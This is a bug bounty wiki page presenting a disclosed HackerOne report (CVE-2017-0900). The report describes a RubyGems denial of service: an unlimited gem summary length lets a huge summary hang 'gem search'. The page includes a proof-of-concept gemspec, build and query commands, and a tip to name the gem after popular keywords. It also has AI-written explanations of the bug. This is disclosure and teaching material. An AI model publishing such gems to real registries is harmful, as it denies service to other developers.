Skip to content
DoS Disclosed report Beginner CVE-2017-0900

No limit of summary length allows Denail of Service

The RubyGems repository does not limit the length of a gem's summary field. An attacker can publish a gem with an extremely large summary, causing the `gem search` command to hang or become unresponsive for users who search for a matching substring.

mame Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Fixed in 2 months
  • Disclosed after 2 months

Currently, there is no limit for summary length. I think, pushing a gem whose summary is huge, will make gem search unavailable.

This is not Arbitrary Code Execution, but really easy to attack. According to CVSS v3.0 Calculator, the severity is High (7.5).

How to attack

  1. An attacker creates a gem with huge summary string, and push it to rubygems.org.
  2. A victim runs gem search -d <substring-of-the-name-of-the-gem>, but it will give no response.

It may be good for the gem name to include a frequently-searched keyword, such as "foo-rails-bar" or "foo-sinatra-bar".

Proof of concept

  1. Prepare the following gemspec.
Gem::Specification.new do |spec|
  spec.name     = "huge-summary"
  spec.version  = "0.0.1"
  spec.authors  = ["Yusuke Endoh"]
  spec.email    = ["[email protected]"]
  spec.summary  = "foo" * 10000000
  spec.homepage = "http://example.com/"
  spec.license  = "MIT"
end
  1. Run the following commands
gem build huge-summary.gemspec
gem install huge-summary-0.0.1.gem
  1. Run the following command.
gem query huge-summary -d

It will not answer.

The original report as published on HackerOne, by mame. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the RubyGems server and client do not enforce a maximum length for the gem summary field, allowing an attacker to store an excessively large value that overwhelms the search process.

Impact

An attacker could cause a denial of service, making the `gem search` command unresponsive for users who search for a matching substring.

What the attacker needed

Ability to publish a gem to rubygems.org; victim runs gem search with -d flag

How it was found

  1. Create a gem specification with a very large summary string.
  2. Build and install the gem locally.
  3. Run a gem query with the -d flag for that gem, which produces no response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A gem is a package for Ruby. The summary is a description shown when searching. There is no limit on summary length, so someone can upload a gem with a massive summary. When another person searches for a word matching that gem's name, their search tool may give no response, making the search freeze or fail.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by mame

View all

3 more disclosed reports, best first.

More from RubyGems

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.